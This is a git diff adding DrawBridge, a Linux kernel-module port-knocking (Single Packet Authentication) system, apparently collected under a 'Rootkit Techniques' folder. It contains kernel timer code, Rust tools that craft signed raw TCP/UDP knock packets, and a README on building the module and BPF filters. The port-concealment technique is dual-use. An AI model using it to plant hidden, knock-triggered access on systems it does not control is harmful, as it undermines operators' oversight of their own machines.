*head) +{ + conntrack_state *state, *tmp; + + spin_lock(&listmutex); + + list_for_each_entry_safe (state, tmp, &(head->list), list) { + list_del_rcu(&(state->list)); + synchronize_rcu(); + kfree(state); + } + + spin_unlock(&listmutex); +} + +/* ----------------------------------------------- + Reaper Timeout Functions + ----------------------------------------------- */ + +#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 14, 153) +void reap_expired_connections_new(struct timer_list *timer) +{ + reap_expired_connections(timer->expires); + return; +} +#endif + +// Initializes the reaper callback +struct timer_list *init_reaper(unsigned long timeout) +{ + struct timer_list *my_timer = NULL; + + my_timer = + (struct timer_list *)kmalloc(sizeof(struct timer_list), GFP_KERNEL); + + if (!my_timer) { + return NULL; + } + + // setup timer to callback reap_expired +#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 14, 153) + timer_setup(my_timer, reap_expired_connections_new, 0); +#else + setup_timer(my_timer, reap_expired_connections, timeout); +#endif + + // Set the timeout value + mod_timer(my_timer, jiffies + msecs_to_jiffies(timeout)); + + return my_timer; +} + +// Cleans up and removes the timer +void cleanup_reaper(struct timer_list *my_timer) +{ + del_timer(my_timer); + kfree((void *)my_timer); +} + +/** +* Callback function for the reaper: removes expired connections +* @param timeout Conn +*/ +void reap_expired_connections(unsigned long timeout) +{ + conntrack_state *state, *tmp; + + spin_lock(&listmutex); + + list_for_each_entry_safe (state, tmp, &(knock_state->list), list) { + if (jiffies - state->time_updated >= msecs_to_jiffies(timeout)) { + list_del_rcu(&(state->list)); + synchronize_rcu(); + kfree(state); + continue; + } + } + + spin_unlock(&listmutex); + + // Set the timeout value + mod_timer(reaper, jiffies + msecs_to_jiffies(timeout)); + + return; +} diff --git a/Linux/Rootkit Techniques/DrawBridge/tools/Cargo.toml b/Linux/Rootkit Techniques/DrawBridge/tools/Cargo.toml new file mode 100644 index 0000000..f397cc6 --- /dev/null +++ b/Linux/Rootkit Techniques/DrawBridge/tools/Cargo.toml @@ -0,0 +1,33 @@ +[package] +name = "dbtools" +version = "1.0.0" +authors = ["landhb "] +edition = "2018" +description = """ +Usermode tools for Drawbridge. A Layer 4 Single Packet Authentication Linux kernel +module utilizing Netfilter hooks and kernel supported Berkeley Packet Filters (BPF) +""" +keywords = ["spa", "auth", "netfilter", "linux-kernel"] +categories = ["command-line-utilities"] +homepage = "https://github.com/landhb/Drawbridge" +repository = "https://github.com/landhb/Drawbridge" +readme = "README.md" +license = "GPL-3.0-or-later" + +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html + +# Multi-command utility to send auth packets +# generate keys, etc. +[[bin]] +name = "db" +path = "src/main.rs" + +[dependencies] +pnet = "0.23.0" +libc = "0.2.66" +failure = "0.1.6" +rand = "0.3" +clap = "2.33.0" +ring = "0.16.11" +openssl = { version = "0.10.28", features = ["vendored"] } +shellexpand = "2.0.0" diff --git a/Linux/Rootkit Techniques/DrawBridge/tools/README.md b/Linux/Rootkit Techniques/DrawBridge/tools/README.md new file mode 100644 index 0000000..964dfe6 --- /dev/null +++ b/Linux/Rootkit Techniques/DrawBridge/tools/README.md @@ -0,0 +1,177 @@ +![logo](https://github.com/landhb/DrawBridge/blob/master/img/logo.PNG?raw=true) + +The Usermode tools package for Drawbridge; a layer 4 Single Packet Authentication (SPA) Module, used to conceal TCP/UDP ports on public facing machines and add an extra layer of security. + +Please read the corresponding [article](https://www.landhb.me/posts/bODdK/port-knocking-with-netfilter-kernel-modules/) for a more in-depth look at the design. + +# Basic usage + +```bash +sudo db auth --server [REMOTE_SERVER] --dport 53 -p udp --unlock [PORT_TO_UNLOCK] +``` + +To give the `db` binary CAP_NET_RAW privs so that you don't need `sudo` to run it: + +```bash +chmod 500 ~/.cargo/bin/db +sudo setcap cap_net_raw=pe ~/.cargo/bin/db +``` + +It's also convenient to create a bash alias to run `db` automatically when you want to access the port that it's guarding. + +```bash +alias "connect"="db auth -s [REMOTE] -d 53 -p udp --unlock [PORT] && ssh -p [PORT] user@[REMOTE]" +``` + +## Build and Install the Drawbridge Utilities + +The usermode tools are now written in Rust! Build and install them with cargo: + +``` +git clone https://github.com/landhb/Drawbridge +cargo install --path Drawbridge/tools + +# or +cargo install dbtools +``` + +## Build and Install the Drawbridge Module + +To automagically generate keys, run the following on your client machine: + +```bash +db keygen +``` + +The output of the keygen utility will be three files: `~/.drawbridge/db_rsa`, `~/.drawbridge/db_rsa.pub` and `key.h`. Keep `db_rsa` safe, it's your private key. `key.h` is the public key formated as a C-header file. It will be compiled into the kernel module. + + +To compile the kernel module simply, bring `key.h`, cd into the kernel directory and run `make`. + +```bash +# on the server compile the module and load it +# pass the ports you want to monitor as an argument +mv key.h kernel/ +cd kernel +make +sudo modprobe x_tables +sudo insmod drawbridge.ko ports=22,445 +``` + +You may need to install your kernel headers to compile the module, you can do so with: + +``` +sudo apt-get install linux-headers-$(uname -r) +sudo apt-get update && sudo apt-get upgrade +``` + +This code has been tested on Linux Kernels between 4.X and 5.9. I don't plan to support anything earlier than 4.X but let me know if you encounter some portabilitity issues on newer kernels. + +## Customizing a Unique 'knock' Packet + +If you wish to customize your knock a little more you can edit the TCP header options in client/bridge.c. For instance, maybe you want to make your knock packet have the PSH,RST,and ACK flags set and a window size of 3104. Turn those on: + +```c +// Flags +(*pkt)->tcp_h.fin = 0; // 1 +(*pkt)->tcp_h.syn = 0; // 2 +(*pkt)->tcp_h.rst = 1; // 4 +(*pkt)->tcp_h.psh = 1; // 8 +(*pkt)->tcp_h.ack = 1; // 16 +(*pkt)->tcp_h.urg = 0; // 32 + + +(*pkt)->tcp_h.window = htons(3104); +``` + +Then make sure you can create a BPF filter to match that specific packet. For the above we would have RST(4) + PSH(8) + ACK(16) = 28 and the offset for the window field in the TCP header is 14: + +``` +"tcp[tcpflags] == 28 and tcp[14:2] = 3104" +``` + +[Here is a good short article on tcp flags if you're unfamiliar.](https://danielmiessler.com/study/tcpflags/). Because tcpdump doesn't support tcp offset shortcuts for IPv6 you have to work with offsets relative to the IPv6 header to support it: + +``` +(tcp[tcpflags] == 28 and tcp[14:2] = 3104) or (ip6[40+13] == 28 and ip6[(40+14):2] = 3104)" +``` + +After you have a working BPF filter, you need to compile it and include the filter in the kernel module server-side. So to compile this and place the output in kernel/listen.c in struct sock_filter code[]: + +``` +tcpdump "(tcp[tcpflags] == 28 and tcp[14:2] = 3104) or (ip6[40+13] == 28 and ip6[(40+14):2] = 3104)" -dd +``` + +which gives us: + +```c +struct sock_filter code[] = { + { 0x28, 0, 0, 0x0000000c }, + { 0x15, 0, 9, 0x00000800 }, + { 0x30, 0, 0, 0x00000017 }, + { 0x15, 0, 13, 0x00000006 }, + { 0x28, 0, 0, 0x00000014 }, + { 0x45, 11, 0, 0x00001fff }, + { 0xb1, 0, 0, 0x0000000e }, + { 0x50, 0, 0, 0x0000001b }, + { 0x15, 0, 8, 0x0000001c }, + { 0x48, 0, 0, 0x0000001c }, + { 0x15, 5, 6, 0x00000c20 }, + { 0x15, 0, 5, 0x000086dd }, + { 0x30, 0, 0, 0x00000043 }, + { 0x15, 0, 3, 0x0000001c }, + { 0x28, 0, 0, 0x00000044 }, + { 0x15, 0, 1, 0x00000c20 }, + { 0x6, 0, 0, 0x00040000 }, + { 0x6, 0, 0, 0x00000000 }, +}; +``` + +And there you go! You have a unique packet that the DrawBridge kernel module will parse! + + +## Generating an RSA Key Pair Manually + +First generate the key pair: + +``` +openssl genrsa -des3 -out private.pem 2048 +``` + +Export the public key to a seperate file: + +```bash +openssl rsa -in private.pem -outform DER -pubout -out public.der +``` + +If you take a look at the format, you'll see that this doesn't exactly match the kernel struct representation of a public key, so we'll need to extract the relevant data from the BIT_STRING field in the DER format: + +```bash +vagrant@ubuntu-xenial:~$ openssl asn1parse -in public.der -inform DER + +0:d=0 hl=4 l= 290 cons: SEQUENCE +4:d=1 hl=2 l= 13 cons: SEQUENCE +6:d=2 hl=2 l= 9 prim: OBJECT :rsaEncryption +17:d=2 hl=2 l= 0 prim: NULL +19:d=1 hl=4 l= 271 prim: BIT STRING <-------------------- THIS IS WHAT WE NEED +``` + +You can see that the BIT_STRING is at offset 19. From here we can extract the relevant portion of the private key format to provide the kernel module: + +```bash +openssl asn1parse -in public.der -inform DER -strparse 19 -out output.der +``` + +You'll notice that this is compatible with [RFC 3447 where it outlines ASN.1 syntax for an RSA public key](https://tools.ietf.org/html/rfc3447#page-44). + +```bash +0:d=0 hl=4 l= 266 cons: SEQUENCE +4:d=1 hl=4 l= 257 prim: INTEGER :BB82865B85ED420CF36054.... +265:d=1 hl=2 l= 3 prim: INTEGER :010001 +``` + +If you need to dump output.der as a C-style byte string: + +```bash +hexdump -v -e '16/1 "_x%02X" "\n"' output.der | sed 's/_/\\/g; s/\\x //g; s/.*/ "&"/' +``` diff --git a/Linux/Rootkit Techniques/DrawBridge/tools/src/crypto.rs b/Linux/Rootkit Techniques/DrawBridge/tools/src/crypto.rs new file mode 100644 index 0000000..ebe9a7f --- /dev/null +++ b/Linux/Rootkit Techniques/DrawBridge/tools/src/crypto.rs @@ -0,0 +1,155 @@ +use failure::{bail, Error}; +use openssl::rsa::Rsa; +use ring::{digest, rand, signature}; +use std::io::{Read, Write}; + +#[derive(Debug)] +pub enum CryptoError { + IO(std::io::Error), + BadPrivateKey, + OOM, +} + +// crypto callback prototype, can be used to implement multiple types in the future +//type GenericSignMethod = fn(data: &mut [u8], private_key_path: &std::path::Path) -> Result, CryptoError>; + +/** + * Private method to read in a file + */ +fn read_file(path: &std::path::Path) -> Result, CryptoError> { + let mut file = std::fs::File::open(path).map_err(|e| CryptoError::IO(e))?; + let mut contents: Vec = Vec::new(); + file.read_to_end(&mut contents) + .map_err(|e| CryptoError::IO(e))?; + Ok(contents) +} + +/** + * Private method to write to a file + */ +fn write_file(contents: Vec, path: &std::path::Path) -> Result<(), CryptoError> { + let mut file = std::fs::File::create(path).map_err(|e| CryptoError::IO(e))?; + file.write_all(&contents).map_err(|e| CryptoError::IO(e))?; + Ok(()) +} + +/** + * Private method to convert a DER public key + * to a C header + */ +fn public_key_to_c_header(contents: &Vec) -> String { + let mut res = String::from("void * public_key = \n\""); + let mut count = 1; + for i in contents[24..].iter() { + res.push_str("\\x"); + res.push_str(format!("{:02X}", i).as_str()); + if count % 16 == 0 { + res.push_str("\"\n\""); + count = 0; + } + count += 1; + } + res.push_str("\";\n"); + return res; +} + +/** + * Generate a SHA256 digest + */ +pub fn sha256_digest<'a>(data: &[u8]) -> Result, CryptoError> { + let res = digest::digest(&digest::SHA256, data); + return Ok(res.as_ref().to_vec()); +} + +/** + * Sign data with an RSA private key + */ +pub fn sign_rsa<'a>( + data: &[u8], + private_key_path: &std::path::Path, +) -> Result, CryptoError> { + // Create an `RsaKeyPair` from the DER-encoded bytes. + let private_key_der = read_file(private_key_path)?; + let key_pair = signature::RsaKeyPair::from_der(&private_key_der) + .map_err(|_| CryptoError::BadPrivateKey)?; + + // Sign the data, using PKCS#1 v1.5 padding and the SHA256 digest + let rng = rand::SystemRandom::new(); + let mut signature = vec![0; key_pair.public_modulus_len()]; + key_pair + .sign(&signature::RSA_PKCS1_SHA256, &rng, data, &mut signature) + .map_err(|_| CryptoError::OOM)?; + + return Ok(signature); +} + +/** + * Generate a new RSA key pair + * + * Currently relies on openssl, because Ring hasn't + * implemented RSA key generation yet + */ +pub fn gen_rsa( + bits: u32, + private_path: &std::path::Path, + public_path: &std::path::Path, +) -> Result<(), Error> { + let key_path = std::path::Path::new("key.h"); + + let rsa = match Rsa::generate(bits) { + Ok(key) => key, + Err(e) => { + bail!(e) + } + }; + + let private = match rsa.private_key_to_der() { + Ok(res) => res, + Err(e) => { + bail!("[-] Could not convert private key to DER format: {}", e) + } + }; + + let public = match rsa.public_key_to_der() { + Ok(res) => res, + Err(e) => { + bail!("[-] Could not convert public key to DER format: {}", e) + } + }; + + // create the public key C-header for Drawbridge + let mut header = public_key_to_c_header(&public); + header.push_str(format!("\n#define KEY_LEN {}\n", public[24..].len()).as_str()); + + // Write private key to file + match write_file(private, private_path) { + Ok(_res) => (), + Err(e) => { + bail!("[-] Could not write private key to file. {:?}", e) + } + } + + println!("\t[+] created {}", private_path.display()); + + // Write public key to file + match write_file(public, public_path) { + Ok(_res) => (), + Err(e) => { + bail!("[-] Could not write public key to file. {:?}", e) + } + } + + println!("\t[+] created {}", public_path.display()); + + // Write public key to file + match write_file(header.as_bytes().to_vec(), key_path) { + Ok(_res) => (), + Err(e) => { + bail!("[-] Could not write public key to file. {:?}", e) + } + } + + println!("\t[+] created ./key.h"); + + Ok(()) +} diff --git a/Linux/Rootkit Techniques/DrawBridge/tools/src/drawbridge.rs b/Linux/Rootkit Techniques/DrawBridge/tools/src/drawbridge.rs new file mode 100644 index 0000000..1840514 --- /dev/null +++ b/Linux/Rootkit Techniques/DrawBridge/tools/src/drawbridge.rs @@ -0,0 +1,87 @@ +use failure::{bail, Error}; +use libc::timespec; +use std::mem; +use std::path::Path; + +use crate::crypto; + +// Drawbridge protocol data +#[repr(C, packed)] +pub struct db_data { + timestamp: timespec, + port: u16, +} + +impl db_data { + // db_data method to convert to &[u8] + // which is necessary to use as a packet payload + pub fn as_bytes(&self) -> &[u8] { + union Overlay<'a> { + pkt: &'a db_data, + bytes: &'a [u8; mem::size_of::()], + } + unsafe { Overlay { pkt: self }.bytes } + } +} + +/** + * Convert a u32 to a [u8] in network byte order + */ +fn transform_u32_to_array_of_u8(x: u32) -> [u8; 4] { + let b1: u8 = ((x >> 24) & 0xff) as u8; + let b2: u8 = ((x >> 16) & 0xff) as u8; + let b3: u8 = ((x >> 8) & 0xff) as u8; + let b4: u8 = (x & 0xff) as u8; + return [b4, b3, b2, b1]; +} + +/** + * Drawbridge protocol payload will result in the following structure: + * + * data: db_data + * sig_size: u32 (must be network byte order) + * signature: [u8] + * digest_size: u32 (must be network byte order) + * digest: [u8] + * + */ +pub fn build_packet<'a>(unlock_port: u16, private_key_path: String) -> Result, Error> { + let path = Path::new(&private_key_path); + if !path.exists() { + bail!("[-] {} does not exist.", path.display()) + } + + // initialize the Drawbridge protocol data + let mut data = db_data { + port: unlock_port, + timestamp: libc::timespec { + tv_sec: 0, + tv_nsec: 0, + }, + }; + + // get current timestamp + unsafe { + libc::clock_gettime(libc::CLOCK_REALTIME, &mut data.timestamp); + } + + // sign the data + let signature = match crypto::sign_rsa(data.as_bytes(), path) { + Ok(s) => s, + Err(e) => { + bail!("{:?}", e) + } + }; + + // hash the data + let digest = crypto::sha256_digest(data.as_bytes()).unwrap(); + + // build the final payload + let mut result = data.as_bytes().to_vec(); + result.extend(&transform_u32_to_array_of_u8(signature.len() as u32)); + result.extend(signature.iter().cloned()); + result.extend(&transform_u32_to_array_of_u8(digest.len() as u32)); + result.extend(digest.iter().cloned()); + + return Ok(result); +} diff --git a/Linux/Rootkit Techniques/DrawBridge/tools/src/main.rs b/Linux/Rootkit Techniques/DrawBridge/tools/src/main.rs new file mode 100644 index 0000000..5bca890 --- /dev/null +++ b/Linux/Rootkit Techniques/DrawBridge/tools/src/main.rs @@ -0,0 +1,344 @@ +extern crate failure; +extern crate pnet; +extern crate rand; +//#[macro_use] extern crate failure; + +// Supported layer 3 protocols +use std::net::IpAddr; + +// Supported layer 4 protocols +use pnet::packet::tcp::MutableTcpPacket; +use pnet::packet::udp::MutableUdpPacket; + +// Transport Channel Types +use pnet::packet::ip::IpNextHeaderProtocols; +use pnet::transport::transport_channel; +use pnet::transport::TransportChannelType::Layer4; +use pnet::transport::TransportProtocol::Ipv4; +use pnet::transport::TransportProtocol::Ipv6; + +// internal modules +mod crypto; +mod drawbridge; +mod protocols; +mod route; + +use clap::{App, AppSettings, Arg, SubCommand}; +use failure::{bail, Error}; +use std::io::Write; + +const MAX_PACKET_SIZE: usize = 2048; + +/** + * Packet wrapper to pass to TransportSender + * This allows us to return both MutableTcpPacket + * and MutableUdpPacket from the builders + */ +enum PktWrapper<'a> { + Tcp(MutableTcpPacket<'a>), + Udp(MutableUdpPacket<'a>), +} + +/** + * tx.send_to's first argument must implement + * the pnet::packet::Packet Trait + */ +impl pnet::packet::Packet for PktWrapper<'_> { + fn packet(&self) -> &[u8] { + match self { + PktWrapper::Tcp(pkt) => pkt.packet(), + PktWrapper::Udp(pkt) => pkt.packet(), + } + } + fn payload(&self) -> &[u8] { + match self { + PktWrapper::Tcp(pkt) => pkt.payload(), + PktWrapper::Udp(pkt) => pkt.payload(), + } + } +} + +/** + * Method for the auth subcommand, + * authenticates with a remote Drawbridge Server + */ +fn auth(args: &clap::ArgMatches) -> Result<(), Error> { + // required so safe to unwrap + let proto = args.value_of("protocol").unwrap(); + let dtmp = args.value_of("dport").unwrap(); + let utmp = args.value_of("uport").unwrap(); + let tmpkey = args.value_of("key").unwrap(); + + // expand the path + let key = match shellexpand::full(tmpkey) { + Ok(res) => res.to_string(), + Err(e) => { + bail!(e) + } + }; + + // check if valid ports were provided + let (unlock_port, dport) = match (utmp.parse::(), dtmp.parse::()) { + (Ok(uport), Ok(dport)) => (uport, dport), + _ => { + bail!("{}", "[-] Ports must be between 1-65535"); + } + }; + + // check if a valid IpAddr was provided + let target = match args.value_of("server").unwrap().parse::() { + Ok(e) => e, + _ => { + bail!("{}", "[-] IP address invalid, must be IPv4 or IPv6"); + } + }; + + let iface = match args.value_of("interface") { + Some(interface) => interface.to_string(), + None => match route::get_default_iface() { + Ok(res) => res, + Err(e) => { + bail!(e) + } + }, + }; + + let src_ip = match route::get_interface_ip(&iface) { + Ok(res) => res, + Err(e) => { + bail!(e) + } + }; + + println!("[+] Selected Interface {}, with address {}", iface, src_ip); + + // Dynamically set the transport protocol, and calculate packet size + // todo, see if the header size can be calculated and returned in tcp.rs & udp.rs + let config: pnet::transport::TransportChannelType = match (proto, target.is_ipv4()) { + ("tcp", true) => Layer4(Ipv4(IpNextHeaderProtocols::Tcp)), + ("tcp", false) => Layer4(Ipv6(IpNextHeaderProtocols::Tcp)), + ("udp", true) => Layer4(Ipv4(IpNextHeaderProtocols::Udp)), + ("udp", false) => Layer4(Ipv6(IpNextHeaderProtocols::Udp)), + _ => bail!("[-] Protocol/IpAddr pair not supported!"), + }; + + // Create a new channel, dealing with layer 4 packets + let (mut tx, _rx) = match transport_channel(MAX_PACKET_SIZE, config) { + Ok((tx, rx)) => (tx, rx), + Err(e) => bail!( + "An error occurred when creating the transport channel: {}", + e + ), + }; + + // build the Drawbridge specific protocol data + let data = match drawbridge::build_packet(unlock_port, key) { + Ok(res) => res, + Err(e) => { + bail!(e) + } + }; + + // Create the packet + let pkt: PktWrapper = match proto { + "tcp" => PktWrapper::Tcp(protocols::build_tcp_packet( + data.as_slice(), + src_ip, + target, + dport, + )?), + "udp" => PktWrapper::Udp(protocols::build_udp_packet( + data.as_slice(), + src_ip, + target, + dport, + )?), + _ => bail!("[-] not implemented"), + }; + + println!( + "[+] Sending {} packet to {}:{} to unlock port {}", + proto, target, dport, unlock_port + ); + + // send it + match tx.send_to(pkt, target) { + Ok(res) => { + println!("[+] Sent {} bytes", res); + } + Err(e) => { + println!("[-] Failed to send packet: {}", e); + bail!(-2); + } + } + + Ok(()) +} + +/** + * Method for the keygen subcommand, generate new + * Drawbridge keys + */ +fn keygen(args: &clap::ArgMatches) -> Result<(), Error> { + let alg = args.value_of("algorithm").unwrap(); + let tmpbits = args.value_of("bits").unwrap(); + let tmpfile = args.value_of("outfile").unwrap(); + + // expand the path + let outfile = match shellexpand::full(tmpfile) { + Ok(res) => res.to_string(), + Err(e) => { + bail!(e) + } + }; + + let outfile_pub = outfile.to_owned() + ".pub"; + let priv_path = std::path::Path::new(&outfile); + let pub_path = std::path::Path::new(&outfile_pub); + let parent = priv_path.parent().unwrap(); + + // create the output directory if it doesn't exist + if !parent.exists() { + print!( + "[!] {} doesn't exist yet, would you like to create it [Y/n]: ", + parent.display() + ); + std::io::stdout().flush().unwrap(); + let mut input = String::new(); + std::io::stdin() + .read_line(&mut input) + .expect("error: unable to read user input"); + if input == "Y\n" || input == "\n" || input == "y\n" { + println!("[*] Creating {:?}", parent.display()); + std::fs::create_dir(parent)?; + } else { + bail!("[-] Specify or create a directory for the new keys.") + } + } + + let bits = match tmpbits.parse::() { + Ok(b) => b, + Err(e) => { + bail!(e) + } + }; + + println!("[*] Generating {} keys...", alg); + + match alg { + "rsa" => crypto::gen_rsa(bits, priv_path, pub_path)?, + "ecdsa" => { + bail!("[-] ECDSA is not implemented yet. Stay tuned.") + } + _ => unreachable!(), + }; + + println!("[+] Generated {} keys w/{} bits", alg, bits); + Ok(()) +} + +fn main() -> Result<(), Error> { + let args = App::new("db") + .version("1.0.0") + .author("landhb ") + .about("Drawbridge Client") + .setting(AppSettings::ArgRequiredElseHelp) + .subcommand( + SubCommand::with_name("keygen") + .about("Generate Drawbridge Keys") + .arg( + Arg::with_name("algorithm") + .short("a") + .long("alg") + .takes_value(true) + .required(true) + .possible_values(&["rsa", "ecdsa"]) + .default_value("rsa") + .help("Algorithm to use"), + ) + .arg( + Arg::with_name("bits") + .short("b") + .long("bits") + .takes_value(true) + .required(true) + .default_value("4096") + .help("Key size"), + ) + .arg( + Arg::with_name("outfile") + .short("o") + .long("out") + .takes_value(true) + .required(true) + .default_value("~/.drawbridge/db_rsa") + .help("Output file name"), + ), + ) + .subcommand( + SubCommand::with_name("auth") + .about("Authenticate with a Drawbridge server") + .arg( + Arg::with_name("server") + .short("s") + .long("server") + .takes_value(true) + .required(true) + .help("Address of server running Drawbridge"), + ) + .arg( + Arg::with_name("interface") + .short("e") + .long("interface") + .takes_value(true) + .help("Specify the outgoing interface to use"), + ) + .arg( + Arg::with_name("protocol") + .short("p") + .long("protocol") + .takes_value(true) + .required(false) + .possible_values(&["tcp", "udp"]) + .default_value("tcp") + .help("Auth packet protocol"), + ) + .arg( + Arg::with_name("dport") + .short("d") + .long("dport") + .takes_value(true) + .required(true) + .help("Auth packet destination port"), + ) + .arg( + Arg::with_name("uport") + .short("u") + .long("unlock") + .takes_value(true) + .required(true) + .help("Port to unlock"), + ) + .arg( + Arg::with_name("key") + .short("i") + .long("key") + .takes_value(true) + .required(true) + .default_value("~/.drawbridge/db_rsa") + .help("Private key for signing"), + ), + ) + .get_matches(); + + // Match on each subcommand to handle different functionality + match args.subcommand() { + ("auth", Some(auth_args)) => auth(auth_args)?, + ("keygen", Some(keygen_args)) => keygen(keygen_args)?, + _ => { + println!("Please provide a valid subcommand. Run db -h for more information."); + } + } + + return Ok(()); +} diff --git a/Linux/Rootkit Techniques/DrawBridge/tools/src/protocols.rs b/Linux/Rootkit Techniques/DrawBridge/tools/src/protocols.rs new file mode 100644 index 0000000..0430cd7 --- /dev/null +++ b/Linux/Rootkit Techniques/DrawBridge/tools/src/protocols.rs @@ -0,0 +1,129 @@ +use failure::{bail, Error}; +use pnet::packet::tcp::{MutableTcpPacket, TcpFlags, TcpOption}; +use pnet::packet::udp::MutableUdpPacket; +use std::net::IpAddr; + +// Builds an immutable UdpPacket to drop on the wire +pub fn build_udp_packet<'a>( + data: &'a [u8], + src_ip: IpAddr, + dst_ip: IpAddr, + dst_port: u16, +) -> Result, Error> { + // calculate total length + let mut length: usize = pnet::packet::ethernet::EthernetPacket::minimum_packet_size(); + length += pnet::packet::udp::MutableUdpPacket::minimum_packet_size(); + length += data.len(); + + // the IP layer is variable + if dst_ip.is_ipv4() && src_ip.is_ipv4() { + length += pnet::packet::ipv4::Ipv4Packet::minimum_packet_size() + } else { + length += pnet::packet::ipv6::Ipv6Packet::minimum_packet_size(); + } + + // Allocate enough room for the entire packet + let packet_buffer: Vec = vec![0; length]; + + let mut udp = match MutableUdpPacket::owned(packet_buffer) { + Some(res) => res, + None => { + println!("[!] Could not allocate packet!"); + bail!(-1); + } + }; + + udp.set_source(rand::random::()); + udp.set_destination(dst_port); + udp.set_length(length as u16); + + // add the data + udp.set_payload(data); + + // compute the checksum + match (src_ip, dst_ip) { + (IpAddr::V4(src_ip4), IpAddr::V4(dst_ip4)) => { + let checksum = + pnet::packet::udp::ipv4_checksum(&udp.to_immutable(), &src_ip4, &dst_ip4); + udp.set_checksum(checksum); + } + (IpAddr::V6(src_ip6), IpAddr::V6(dst_ip6)) => { + let checksum = + pnet::packet::udp::ipv6_checksum(&udp.to_immutable(), &src_ip6, &dst_ip6); + udp.set_checksum(checksum); + } + _ => { + bail!("[-] Unknown IP Address type") + } + } + + return Ok(udp); +} + +// Builds an immutable TcpPacket to drop on the wire +pub fn build_tcp_packet<'a>( + data: &'a [u8], + src_ip: IpAddr, + dst_ip: IpAddr, + dst_port: u16, +) -> Result, Error> { + // calculate total length + let mut length: usize = pnet::packet::ethernet::EthernetPacket::minimum_packet_size(); + length += pnet::packet::tcp::MutableTcpPacket::minimum_packet_size(); + length += data.len(); + + // the IP layer is variable + if dst_ip.is_ipv4() && src_ip.is_ipv4() { + length += pnet::packet::ipv4::Ipv4Packet::minimum_packet_size() + } else { + length += pnet::packet::ipv6::Ipv6Packet::minimum_packet_size(); + } + + // Allocate enough room for the entire packet + let packet_buffer: Vec = vec![0; length]; + + let mut tcp = match MutableTcpPacket::owned(packet_buffer) { + Some(res) => res, + None => { + println!("[!] Could not allocate packet!"); + bail!(-1); + } + }; + + tcp.set_source(rand::random::()); + tcp.set_destination(dst_port); + tcp.set_flags(TcpFlags::SYN); + tcp.set_window(64240); + tcp.set_data_offset(8); + tcp.set_urgent_ptr(0); + tcp.set_sequence(rand::random::()); + tcp.set_options(&[ + TcpOption::mss(1460), + TcpOption::sack_perm(), + TcpOption::nop(), + TcpOption::nop(), + TcpOption::wscale(7), + ]); + + // add the data + tcp.set_payload(data); + + // compute the checksum + match (src_ip, dst_ip) { + (IpAddr::V4(src_ip4), IpAddr::V4(dst_ip4)) => { + let checksum = + pnet::packet::tcp::ipv4_checksum(&tcp.to_immutable(), &src_ip4, &dst_ip4); + tcp.set_checksum(checksum); + } + (IpAddr::V6(src_ip6), IpAddr::V6(dst_ip6)) => { + let checksum = + pnet::packet::tcp::ipv6_checksum(&tcp.to_immutable(), &src_ip6, &dst_ip6); + tcp.set_checksum(checksum); + } + _ => { + bail!("[-] Unknown IP Address type") + } + } + + return Ok(tcp); +} diff --git a/Linux/Rootkit Techniques/DrawBridge/tools/src/route.rs b/Linux/Rootkit Techniques/DrawBridge/tools/src/route.rs new file mode 100644 index 0000000..f31e4b1 --- /dev/null +++ b/Linux/Rootkit Techniques/DrawBridge/tools/src/route.rs @@ -0,0 +1,53 @@ +use failure::{bail, Error}; +use std::fs::File; +use std::io::Read; +use std::net::IpAddr; + +/* +* Grab an interface's src IP +*/ +pub fn get_interface_ip(iface: &String) -> Result { + let interfaces = pnet::datalink::interfaces(); + + for i in interfaces { + if i.name == *iface { + return Ok(i.ips[0].ip()); + } + } + bail!("[-] Could not find interface IP address") +} + +/* +* Get a Linux host's default gateway +*/ +pub fn get_default_iface() -> Result { + let mut file = File::open("/proc/net/route")?; + let mut contents = String::new(); + file.read_to_string(&mut contents)?; + + let mut iter = contents.lines(); + let mut res = String::new(); + while let Some(line) = iter.next() { + let v: Vec<&str> = line.split("\t").collect(); + if v.len() < 3 { + continue; + } + let dst = match u64::from_str_radix(v[1], 16) { + Ok(a) => a, + Err(_e) => { + continue; + } + }; + let gateway = match u64::from_str_radix(v[2], 16) { + Ok(a) => a, + Err(_e) => { + continue; + } + }; + if dst == 0 && gateway != 0 { + res = v[0].to_string(); + break; + } + } + Ok(res) +} diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/.cirrus.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/.cirrus.yml new file mode 100644 index 0000000..07dff2b --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/.cirrus.yml @@ -0,0 +1,6 @@ +freebsd_instance: + image: freebsd-12-0-release-amd64 + +task: + install_script: pkg install -y gmake ruby + script: gmake diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/.clang-format b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/.clang-format new file mode 100644 index 0000000..c939fda --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/.clang-format @@ -0,0 +1,109 @@ +--- +Language: Cpp +# BasedOnStyle: LLVM +AccessModifierOffset: -2 +AlignAfterOpenBracket: Align +AlignConsecutiveAssignments: false +AlignConsecutiveDeclarations: false +AlignEscapedNewlines: Right +AlignOperands: true +AlignTrailingComments: true +AllowAllParametersOfDeclarationOnNextLine: true +AllowShortBlocksOnASingleLine: false +AllowShortCaseLabelsOnASingleLine: false +AllowShortFunctionsOnASingleLine: None +AllowShortIfStatementsOnASingleLine: false +AllowShortLoopsOnASingleLine: false +AlwaysBreakAfterDefinitionReturnType: None +AlwaysBreakAfterReturnType: None +AlwaysBreakBeforeMultilineStrings: false +AlwaysBreakTemplateDeclarations: false +BinPackArguments: true +BinPackParameters: true +BraceWrapping: + AfterClass: false + AfterControlStatement: false + AfterEnum: false + AfterFunction: false + AfterNamespace: false + AfterObjCDeclaration: false + AfterStruct: false + AfterUnion: false + AfterExternBlock: false + BeforeCatch: false + BeforeElse: false + IndentBraces: false + SplitEmptyFunction: true + SplitEmptyRecord: true + SplitEmptyNamespace: true +BreakBeforeBinaryOperators: None +BreakBeforeBraces: Attach +BreakBeforeInheritanceComma: false +BreakBeforeTernaryOperators: true +BreakConstructorInitializersBeforeComma: false +BreakConstructorInitializers: BeforeColon +BreakAfterJavaFieldAnnotations: false +BreakStringLiterals: true +ColumnLimit: 100 +CommentPragmas: '^ IWYU pragma:' +CompactNamespaces: false +ConstructorInitializerAllOnOneLineOrOnePerLine: false +ConstructorInitializerIndentWidth: 4 +ContinuationIndentWidth: 4 +Cpp11BracedListStyle: true 